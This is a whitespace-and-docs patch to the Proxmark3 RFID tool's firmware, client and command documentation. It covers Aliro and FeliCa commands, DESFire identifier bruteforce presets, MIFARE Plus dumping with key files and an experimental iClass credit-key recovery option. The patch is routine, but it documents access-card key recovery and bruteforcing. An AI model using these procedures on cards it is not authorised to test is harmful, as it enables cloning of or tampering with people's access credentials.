17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:07:43 +0100 Subject: [PATCH 4/5] style: whitespace fixes --- armsrc/appmain.c | 6 +- armsrc/iclass.c | 10 +- client/src/cmdhfaliro.c | 30 +++--- client/src/cmdhffelica.c | 38 ++++---- client/src/cmdhficlass.c | 12 +-- client/src/pm3line_vocabulary.h | 7 +- doc/commands.json | 161 ++++++++++++++++++++++++++++---- doc/commands.md | 17 +++- 8 files changed, 213 insertions(+), 68 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 43c3e68ea..0f9832fb5 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -101,19 +101,19 @@ uint8_t g_tearoff_skip = 0; int tearoff_hook(void) { if (g_tearoff_enabled) { if (g_tearoff_delay_us == 0) { - Dbprintf(_RED_("No tear-off delay configured!")); + if (g_dbglevel >= DBG_ERROR) Dbprintf(_RED_("No tear-off delay configured!")); g_tearoff_enabled = false; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } if (g_tearoff_skip > 0) { - Dbprintf(_GREEN_("Tear-off skipped!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_GREEN_("Tear-off skipped!")); g_tearoff_skip--; return PM3_SUCCESS; // SUCCESS = the hook didn't do anything } SpinDelayUsPrecision(g_tearoff_delay_us); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); g_tearoff_enabled = false; - if (g_dbglevel >= DBG_ERROR) Dbprintf(_YELLOW_("Tear-off triggered!")); + if (g_dbglevel >= DBG_INFO) Dbprintf(_YELLOW_("Tear-off triggered!")); return PM3_ETEAROFF; } else { return PM3_SUCCESS; // SUCCESS = the hook didn't do anything diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 32f05791c..423742e70 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -2746,7 +2746,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint32_t start_time = 0; uint8_t read_check_cc[] = { 0x10 | ICLASS_CMD_READCHECK, 0x18 }; //block 24 with credit key uint8_t read_check_cc2[] = { 0x80 | ICLASS_CMD_READCHECK, 0x02 }; //block 2 -> to check Kd macs - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[0] = 0x80 | ICLASS_CMD_READCHECK; //still block 24 but with debit key } @@ -2799,7 +2799,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { //Step 0A - The read_check_cc block has to be in AA2, set it by checking the card configuration read_check_cc[1] = hdr.conf.app_limit + 1; //first block of AA2 - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { read_check_cc[1] = hdr.conf.app_limit - 1; //last block of AA1 } //Step1 Authenticate with AA1 using trace @@ -2928,7 +2928,7 @@ void iClass_Recover(iclass_recover_req_t *msg) { uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ + if (msg->credit_recovery == true) { blockno = 4; } wb[0] = blockno; @@ -3080,8 +3080,8 @@ fast_restore: uint8_t mac2[4] = {0}; uint8_t wb[9] = {0}; uint8_t blockno = 3; - if (msg->credit_recovery == true){ - blockno = 4; + if (msg->credit_recovery == true) { + blockno = 4; } wb[0] = blockno; bool reverted = false; diff --git a/client/src/cmdhfaliro.c b/client/src/cmdhfaliro.c index b00a9f350..ca779fce7 100644 --- a/client/src/cmdhfaliro.c +++ b/client/src/cmdhfaliro.c @@ -1577,11 +1577,11 @@ static int aliro_read_do_auth0(aliro_read_state_t *state, uint8_t auth0_data[ALIRO_MAX_BUFFER] = {0}; size_t auth0_data_len = 0; if (aliro_append_tlv(0x41, &state->auth0_command_parameters, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x42, (const uint8_t[]){ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { + aliro_append_tlv(0x42, (const uint8_t[]) {ALIRO_AUTH0_DEFAULT_POLICY}, 1, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x5C, state->protocol_version, 2, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x87, state->reader_ephemeral_public_key, 65, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4C, state->transaction_identifier, 16, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x4D, state->reader_identifier, 32, auth0_data, sizeof(auth0_data), &auth0_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH0 command"); return PM3_ESOFT; } @@ -1787,10 +1787,10 @@ static int aliro_read_do_auth1(aliro_read_state_t *state, uint8_t auth1_data[ALIRO_MAX_BUFFER] = {0}; size_t auth1_data_len = 0; - if (aliro_append_tlv(0x41, (const uint8_t[]){ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || - aliro_append_tlv(0x9E, auth1_signature, 64, - auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { + if (aliro_append_tlv(0x41, (const uint8_t[]) {ALIRO_AUTH1_REQUEST_PUBLIC_KEY}, 1, +auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS || +aliro_append_tlv(0x9E, auth1_signature, 64, + auth1_data, sizeof(auth1_data), &auth1_data_len) != PM3_SUCCESS) { PrintAndLogEx(ERR, "Failed to encode AUTH1 command"); return PM3_ESOFT; } @@ -2041,7 +2041,7 @@ static int aliro_parse_step_up_scopes(struct arg_str *scope_arg, aliro_step_up_s char *saveptr = NULL; char *token = strtok_r(scope_str, ",", &saveptr); while (token != NULL) { - while (isspace((unsigned char)*token)) { + while (isspace((unsigned char) * token)) { token++; } @@ -3539,11 +3539,11 @@ static int aliro_read_auth_flow(const uint8_t *kpersistent, size_t kpersistent_l aliro_read_print_auth1_report(&state); have_fast_suggestion_cmd = aliro_read_build_fast_suggestion_command(&state, - reader_group_identifier, - reader_group_sub_identifier, - reader_private_key_raw, - fast_suggestion_cmd, - sizeof(fast_suggestion_cmd)); + reader_group_identifier, + reader_group_sub_identifier, + reader_private_key_raw, + fast_suggestion_cmd, + sizeof(fast_suggestion_cmd)); if (flow == ALIRO_FLOW_STEP_UP) { res = aliro_read_do_step_up(&state, step_up_scopes); diff --git a/client/src/cmdhffelica.c b/client/src/cmdhffelica.c index aca155b2a..31db2668e 100644 --- a/client/src/cmdhffelica.c +++ b/client/src/cmdhffelica.c @@ -69,8 +69,8 @@ static int CmdHelp(const char *Cmd); static void clear_and_send_command(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose); static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, - PacketResponseNG *resp, const char *request_name); + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name); static felica_card_select_t last_known_card; static void set_last_known_card(felica_card_select_t card) { @@ -312,8 +312,8 @@ static const char *felica_specification_option_name(size_t option_index) { } static void print_specification_versions(int level, - const felica_request_specification_version_info_t *specification_version_info, - bool include_hex) { + const felica_request_specification_version_info_t *specification_version_info, + bool include_hex) { if (specification_version_info == NULL || specification_version_info->has_specification_version == false) { return; } @@ -687,7 +687,7 @@ static int send_get_container_property(uint8_t flags, uint16_t datalen, uint8_t } static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_get_container_issue_info_response_t *container_issue_info_response) { + felica_get_container_issue_info_response_t *container_issue_info_response) { (void)verbose; PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, false, @@ -706,8 +706,8 @@ static int send_get_container_issue_information(uint8_t flags, uint16_t datalen, } static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - felica_status_flags_t *status_flags, uint8_t *platform_information_data, - size_t platform_information_data_capacity, size_t *platform_information_data_len) { + felica_status_flags_t *status_flags, uint8_t *platform_information_data, + size_t platform_information_data_capacity, size_t *platform_information_data_len) { (void)verbose; if (status_flags == NULL || platform_information_data == NULL || platform_information_data_len == NULL) { return PM3_EINVARG; @@ -759,8 +759,8 @@ static int send_get_platform_information(uint8_t flags, uint16_t datalen, uint8_ } static int send_request_specification_version(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - bool logging, uint32_t timeout_ms, uint32_t retries, - felica_request_specification_version_info_t *specification_version_info) { + bool logging, uint32_t timeout_ms, uint32_t retries, + felica_request_specification_version_info_t *specification_version_info) { if (specification_version_info == NULL) { return PM3_EINVARG; } @@ -932,8 +932,8 @@ static int info_felica(bool verbose) { felica_get_container_issue_info_response_t container_issue_info_response; if (send_get_container_issue_information(optional_flags, - sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, - &container_issue_info_response) == PM3_SUCCESS) { + sizeof(container_issue_info_request), (uint8_t *)&container_issue_info_request, false, + &container_issue_info_response) == PM3_SUCCESS) { char model_ascii[sizeof(container_issue_info_response.mobile_phone_model_information) + 1] = {0}; bool model_is_ascii = decode_zero_padded_ascii( container_issue_info_response.mobile_phone_model_information, @@ -1116,8 +1116,8 @@ static void log_felica_retry_attempt(const char *request_name, uint32_t attempt, * @return PM3_SUCCESS on success */ static int send_felica_payload_with_retries(uint8_t flags, uint16_t datalen, uint8_t *data, bool verbose, - int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, - PacketResponseNG *resp, const char *request_name) { + int expected_response_cmd, uint32_t timeout_ms, uint32_t retries, bool logging, + PacketResponseNG *resp, const char *request_name) { for (uint32_t attempt = 0; attempt <= retries; attempt++) { clear_and_send_command(flags, datalen, data, verbose); if (waitCmdFelicaEx(false, resp, verbose, logging, timeout_ms) == false) { @@ -1162,10 +1162,10 @@ int send_request_service(uint8_t flags, uint16_t datalen, uint8_t *data, bool ve } PacketResponseNG resp; if (send_felica_payload_with_retries(flags, datalen, data, verbose, - 0x03, - FELICA_DEFAULT_TIMEOUT_MS, 0, - true, - &resp, "request service") != PM3_SUCCESS) { + 0x03, + FELICA_DEFAULT_TIMEOUT_MS, 0, + true, + &resp, "request service") != PM3_SUCCESS) { PrintAndLogEx(ERR, "\nGot no response from card"); return PM3_ERFTRANS; } @@ -2139,10 +2139,10 @@ static int CmdHFFelicaRequestSpecificationVersion(const char *Cmd) { sprint_hex(request_specification_version_request.IDm, sizeof(request_specification_version_request.IDm))); PrintAndLogEx(SUCCESS, "Status Flag1... %s", sprint_hex(specification_version_info.status_flags.status_flag1, - sizeof(specification_version_info.status_flags.status_flag1))); + sizeof(specification_version_info.status_flags.status_flag1))); PrintAndLogEx(SUCCESS, "Status Flag2... %s", sprint_hex(specification_version_info.status_flags.status_flag2, - sizeof(specification_version_info.status_flags.status_flag2))); + sizeof(specification_version_info.status_flags.status_flag2))); if (specification_version_info.has_specification_version) { print_specification_versions(SUCCESS, &specification_version_info, true); diff --git a/client/src/cmdhficlass.c b/client/src/cmdhficlass.c index 9506ce788..472046c09 100644 --- a/client/src/cmdhficlass.c +++ b/client/src/cmdhficlass.c @@ -4933,9 +4933,9 @@ static int CmdHFiClassLegacyRecSim(bool credit) { } uint8_t new_div_key[8] = {0}; - if (credit == true){ + if (credit == true) { HFiClassCalcDivKey(csn, iClass_Key_Table[1], new_div_key, false); - }else{ + } else { HFiClassCalcDivKey(csn, iClass_Key_Table[0], new_div_key, false); } @@ -5050,8 +5050,8 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { } else if (test) { loop = 1; fast = false; - }else if (debug) { - if (loop > 10){ + } else if (debug) { + if (loop > 10) { loop = 10; } fast = false; @@ -5065,10 +5065,10 @@ static int CmdHFiClassLegacyRecover(const char *Cmd) { return PM3_ESOFT; } - if(credit == true){ + if (credit == true) { diversifyKey(csn, iClass_Key_Table[0], new_div_key); fast = false; - }else{ + } else { diversifyKey(csn, iClass_Key_Table[1], new_div_key); } diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 788eefe16..a52b9da5a 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -214,6 +214,10 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 15 writeafi" }, { 0, "hf 15 writedsfid" }, { 0, "hf 15 csetuid" }, + { 1, "hf aliro help" }, + { 1, "hf aliro list" }, + { 0, "hf aliro info" }, + { 0, "hf aliro read" }, { 1, "hf cipurse help" }, { 0, "hf cipurse info" }, { 0, "hf cipurse select" }, @@ -240,6 +244,7 @@ const static vocabulary_t vocabulary[] = { { 1, "hf felica help" }, { 1, "hf felica list" }, { 0, "hf felica info" }, + { 0, "hf felica seacinfo" }, { 0, "hf felica raw" }, { 0, "hf felica rdbl" }, { 0, "hf felica reader" }, @@ -473,7 +478,6 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes getaids" }, { 0, "hf mfdes getappnames" }, { 0, "hf mfdes bruteaid" }, - { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes createapp" }, { 0, "hf mfdes deleteapp" }, { 0, "hf mfdes selectapp" }, @@ -482,6 +486,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf mfdes chkeysettings" }, { 0, "hf mfdes getkeysettings" }, { 0, "hf mfdes getkeyversions" }, + { 0, "hf mfdes bruteisofid" }, { 0, "hf mfdes getfileids" }, { 0, "hf mfdes getfileisoids" }, { 0, "hf mfdes lsfiles" }, diff --git a/doc/commands.json b/doc/commands.json index 8447d899b..06288c322 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -2232,6 +2232,64 @@ ], "usage": "hf 15 writedsfid [-h*2ov] [-u ] [--ua] --dsfid " }, + "hf aliro help": { + "command": "hf aliro help", + "description": "----------- ----------------------- General ----------------------- help This help list List ISO 14443A/7816 history --------------------------------------------------------------------------------------- hf aliro list available offline: yes Alias of `trace list -t 7816` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "notes": [ + "hf aliro list --frame -> show frame delay times", + "hf aliro list -1 -> use trace buffer" + ], + "offline": true, + "options": [ + "-h, --help This help", + "-1, --buffer use data from trace buffer", + "--frame show frame delay times", + "-c mark CRC bytes", + "-r show relative times (gap and duration)", + "-u display times in microseconds instead of clock cycles", + "-x show hexdump to convert to pcap(ng)", + "or to import into Wireshark using encapsulation type \"ISO 14443\"", + "-f, --file filename of dictionary" + ], + "usage": "hf aliro list [-h1crux] [--frame] [-f ]" + }, + "hf aliro info": { + "command": "hf aliro info", + "description": "Select ALIRO applet and print capabilities.", + "notes": [ + "hf aliro info", + "hf aliro info -a" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro info [-ha]" + }, + "hf aliro read": { + "command": "hf aliro read", + "description": "Execute ALIRO expedited flow and optional step-up document retrieval.", + "notes": [ + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a", + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp Kpersistent (32 bytes, optional; used for fast cryptogram verification)", + "-g, --reader-group-id, --readergroupid, --rgi Reader group identifier (16 bytes)", + "-s, --reader-sub-group-id, --readersubid, --rsi Reader subgroup identifier (16 bytes, default: all zeroes)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (32 bytes, P-256)", + "-t, --transaction-id, --ti Transaction identifier (16 bytes, optional; random if omitted)", + "-e, --endpoint-public-key, --endpointpublickey, --epk Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)", + "-f, --flow Transaction flow (default: step-up)", + "--step-up-scopes Comma-separated step-up scopes (default: matter1)", + "-a, --apdu Show APDU requests and responses" + ], + "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" + }, "hf cipurse aread": { "command": "hf cipurse aread", "description": "Read file attributes by file ID with key ID and key. If no key is supplied, default key of 737373...7373 will be used", @@ -2702,14 +2760,16 @@ "command": "hf felica dump", "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", "notes": [ - "hf felica dump" + "hf felica dump", + "hf felica dump --retry 5" ], "offline": false, "options": [ "-h, --help This help", - "--no-auth read public services" + "--no-auth read public services", + "-r, --retry number of retries" ], - "usage": "hf felica dump [-h] [--no-auth]" + "usage": "hf felica dump [-h] [--no-auth] [-r ]" }, "hf felica help": { "command": "hf felica help", @@ -2896,7 +2956,7 @@ }, "hf felica rqspecver": { "command": "hf felica rqspecver", - "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: value = 0: AES card, value = 1: AES/DES card. Provided only if Status Flag1 = 00h - Option version list: Provided only if Status Flag1 = 00h - AES card: not added - AES/DES card: DES option version is added - BCD notation", + "description": "Use this command to acquire the version of card OS. Response: - Format version: Fixed value 00h. Provided only if Status Flag1 = 00h - Basic version: Each value of version is expressed in BCD notation. Provided only if Status Flag1 = 00h - Number of Option: number of entries in Option Version List. - Option version list: BCD notation (major.minor.patch), little-endian, provided only if Status Flag1 = 00h", "notes": [ "hf felica rqspecver", "hf felica rqspecver -r 0001", @@ -2929,13 +2989,27 @@ "command": "hf felica scsvcode", "description": "Dump all existing Area Code and Service Code.", "notes": [ - "hf felica scsvcode" + "hf felica scsvcode", + "hf felica scsvcode --retry 5" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --retry number of retries" + ], + "usage": "hf felica scsvcode [-h] [-r ]" + }, + "hf felica seacinfo": { + "command": "hf felica seacinfo", + "description": "Get info about FeliCa SEAC cards", + "notes": [ + "hf felica seacinfo" ], "offline": false, "options": [ "-h, --help This help" ], - "usage": "hf felica scsvcode [-h]" + "usage": "hf felica seacinfo [-h]" }, "hf felica sniff": { "command": "hf felica sniff", @@ -3276,7 +3350,7 @@ }, "hf help": { "command": "hf help", - "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", + "description": "-------- ----------------------- High Frequency ----------------------- 14a { ISO14443A RFIDs... } 14b { ISO14443B RFIDs... } 15 { ISO15693 RFIDs... } aliro { ALIRO digital access credentials... } cipurse { Cipurse transport Cards... } epa { German Identification Card... } emrtd { Machine Readable Travel Document... } felica { ISO18092 / FeliCa RFIDs... } fido { FIDO and FIDO2 authenticators... } fudan { Fudan RFIDs... } gallagher { Gallagher DESFire RFIDs... } iclass { ICLASS RFIDs... } ict { ICT MFC/DESfire RFIDs... } jooki { Jooki RFIDs... } ksx6924 { KS X 6924 (T-Money, Snapper+) RFIDs } legic { LEGIC RFIDs... } lto { LTO Cartridge Memory RFIDs... } mf { MIFARE RFIDs... } mfp { MIFARE Plus RFIDs... } mfu { MIFARE Ultralight RFIDs... } mfdes { MIFARE Desfire RFIDs... } ntag424 { NXP NTAG 4242 DNA RFIDs... } saflok { Saflok MFC RFIDs... } seos { SEOS RFIDs... } st25ta { ST25TA RFIDs... } tesla { TESLA Cards... } texkom { Texkom RFIDs... } thinfilm { Thinfilm RFIDs... } topaz { TOPAZ (NFC Type 1) RFIDs... } vas { Apple Value Added Service... } waveshare { Waveshare NFC ePaper... } xerox { Fuji/Xerox cartridge RFIDs... } ----------- --------------------- General --------------------- help This help list List protocol data in trace buffer search Search for known HF tags --------------------------------------------------------------------------------------- hf list available offline: yes Alias of `trace list -t raw` with selected protocol data to annotate trace buffer You can load a trace from file (see `trace load -h`) or it be downloaded from device by default It accepts all other arguments of `trace list`. Note that some might not be relevant for this specific protocol", "notes": [ "hf list --frame -> show frame delay times", "hf list -1 -> use trace buffer" @@ -3601,9 +3675,10 @@ "--allnight Loops the loop for 10 times, recommended loop value of 5000", "--fast Increases the speed (4.6->7.4 key updates/second), higher risk to brick the card", "--sl Lower card comms delay times, further speeds increases, may cause more errors", - "--est Estimates the key updates based on the card's CSN assuming standard key" + "--est Estimates the key updates based on the card's CSN assuming standard key, can be used with --credit option", + "--credit EXPERIMENTAL : Recover the credit key using KD 0" ], - "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est]" + "usage": "hf iclass legrec [-h] --macs [--index ] [--loop ] [--debug] [--notest] [--allnight] [--fast] [--sl] [--est] [--credit]" }, "hf iclass loclass": { "command": "hf iclass loclass", @@ -5750,7 +5825,11 @@ "description": "Recover AIDs by bruteforce. WARNING: This command takes a loooong time", "notes": [ "hf mfdes bruteaid -> Search all apps", - "hf mfdes bruteaid --start F0000F -i 16 -> Search MAD range manually" + "hf mfdes bruteaid --preset mad -> Search MAD range preset (default start F0000F, step 16; can override start)", + "hf mfdes bruteaid --preset ascii -> Search with ASCII printable + whitespace bytes only", + "hf mfdes bruteaid --preset numbers -> Search with numeric bytes ('0'..'9') only", + "hf mfdes bruteaid --preset letters -> Search with letter bytes ('A'..'Z','a'..'z') only", + "hf mfdes bruteaid --preset dictionary -> Search AIDs from `aid_desfire` dictionary (direct + inverted byte order)" ], "offline": false, "options": [ @@ -5758,9 +5837,30 @@ "--start Starting App ID as hex bytes (3 bytes, big endian)", "--end Last App ID as hex bytes (3 bytes, big endian)", "-i, --step Increment step when bruteforcing", - "-m, --mad Only bruteforce the MAD range" + "--preset Bruteforce candidate preset (`full` default, `ascii` printable + whitespace, `numbers` = '0'..'9', `letters` = 'A'..'Z'+'a'..'z', `dictionary` = aid_desfire list with direct + inverted byte order, `mad` = step 16 with default start F0000F unless --start is provided)" ], - "usage": "hf mfdes bruteaid [-hm] [--start ] [--end ] [-i ]" + "usage": "hf mfdes bruteaid [-h] [--start ] [--end ] [-i ] [--preset ]" + }, + "hf mfdes bruteisofid": { + "command": "hf mfdes bruteisofid", + "description": "Recover ISO file IDs by bruteforce. WARNING: This command takes a loooong time", + "notes": [ + "hf mfdes bruteisofid --aid 123456 -> bruteforce ISO file IDs for application 123456", + "hf mfdes bruteisofid --start 0000 --end 0fff -> bruteforce specific file ISO ID range" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--isoid Application ISO ID (ISO DF ID) (2 hex bytes, big endian)", + "--dfname Application ISO DF Name (5-16 hex bytes, big endian)", + "--start Starting File ISO ID (2 hex bytes, big endian)", + "--end Last File ISO ID (2 hex bytes, big endian)", + "--step Increment step when bruteforcing" + ], + "usage": "hf mfdes bruteisofid [-hav] [--aid ] [--isoid ] [--dfname ] [--start ] [--end ] [--step ]" }, "hf mfdes changekey": { "command": "hf mfdes changekey", @@ -6726,6 +6826,25 @@ ], "usage": "hf mfdes selectapp [-hav] [-n ] [-t ] [-k ] [--kdf ] [-i ] [-m ] [-c ] [--schann ] [--aid ] [--dfname ] [--mf] [--isoid ] [--fileisoid ]" }, + "hf mfdes selectisofid": { + "command": "hf mfdes selectisofid", + "description": "Select file via ISO Select command by 2-byte ISO file identifier. Optionally preselect an application by AID or DF name before selecting the file.", + "notes": [ + "hf mfdes selectisofid --isofid e104 -> select file 0xE104", + "hf mfdes selectisofid --aid 123456 --isofid 00ef -> select file 0x00EF in app 0x123456", + "hf mfdes selectisofid --dfname D2760000850100 --isofid 00ef --apdu -> select file 0x00EF after DF name selection and show APDU logs" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-a, --apdu Show APDU requests and responses", + "-v, --verbose Verbose output", + "--aid Application ID (3 hex bytes, big endian)", + "--dfname Application ISO DF Name (1-16 hex bytes, big endian)", + "--isofid File ISO ID (ISO EF ID) (2 hex bytes, big endian)" + ], + "usage": "hf mfdes selectisofid [-hav] [--aid ] [--dfname ] [--isofid ]" + }, "hf mfdes setconfig": { "command": "hf mfdes setconfig", "description": "Set card configuration. WARNING! Danger zone! Needs to provide card's master key and works if not blocked by config.", @@ -6967,18 +7086,24 @@ }, "hf mfp dump": { "command": "hf mfp dump", - "description": "Dump MIFARE Plus tag to file (bin/json) If no given, UID will be used as filename", + "description": "Dump MIFARE Plus tag to file (bin/json) Reads sectors using keys from `hf mfp chk --dump` (AES/SL3) and/or `hf mf chk` key file (CRYPTO1/SL1) for mixed-mode cards. Key files are auto-detected by UID if not specified. If no given, UID will be used as filename", "notes": [ "hf mfp dump", - "hf mfp dump --keys hf-mf-066C8B78-key.bin -> MIFARE Plus with keys from specified file" + "hf mfp dump --keys hf-mfp-01020304-key.json", + "hf mfp dump --keys hf-mfp-01020304-key.json --mfc-keys hf-mf-01020304-key.bin", + "hf mfp dump -k ffffffffffffffffffffffffffffffff" ], "offline": false, "options": [ "-h, --help This help", "-f, --file Specify a filename for dump file", - "-k, --keys Specify a filename for keys file" + "--keys AES key file from `hf mfp chk --dump` (JSON)", + "-k, --key AES key for all sectors (16 hex bytes)", + "--mfc-keys MFC key file for SL1 sectors (.bin from `hf mf chk`)", + "--ns No save to file", + "-v, --verbose Verbose output" ], - "usage": "hf mfp dump [-h] [-f ] [-k ]" + "usage": "hf mfp dump [-hv] [-f ] [--keys ] [-k ] [--mfc-keys ] [--ns]" }, "hf mfp help": { "command": "hf mfp help", @@ -13835,8 +13960,8 @@ } }, "metadata": { - "commands_extracted": 791, + "commands_extracted": 798, "extracted_by": "PM3Help2JSON v1.00", - "extracted_on": "2026-02-24T15:41:26" + "extracted_on": "2026-03-11T21:39:07" } } diff --git a/doc/commands.md b/doc/commands.md index 58e8ecf03..fd30f27f2 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -275,6 +275,18 @@ Check column "offline" for their availability. |`hf 15 csetuid `|N |`Set UID for magic card` +### hf aliro + + { ALIRO digital access credentials... } + +|command |offline |description +|------- |------- |----------- +|`hf aliro help `|Y |`This help` +|`hf aliro list `|Y |`List ISO 14443A/7816 history` +|`hf aliro info `|N |`Get Aliro applet information` +|`hf aliro read `|N |`Run SELECT-AUTH0-AUTH1 and optional step-up document retrieval` + + ### hf cipurse { Cipurse transport Cards... } @@ -331,6 +343,7 @@ Check column "offline" for their availability. |`hf felica help `|Y |`This help` |`hf felica list `|Y |`List ISO 18092/FeliCa history` |`hf felica info `|N |`Tag information` +|`hf felica seacinfo `|N |`FeliCa SEAC tag information` |`hf felica raw `|N |`Send raw hex data to tag` |`hf felica rdbl `|N |`read block data from authentication-not-required Service.` |`hf felica reader `|N |`Act like an ISO18092/FeliCa reader` @@ -596,7 +609,7 @@ Check column "offline" for their availability. |`hf mfp list `|Y |`List MIFARE Plus history` |`hf mfp auth `|N |`Authentication` |`hf mfp chk `|N |`Check keys` -|`hf mfp dump `|N |`Dump MIFARE Plus tag to binary file` +|`hf mfp dump `|N |`Dump MIFARE Plus tag to file` |`hf 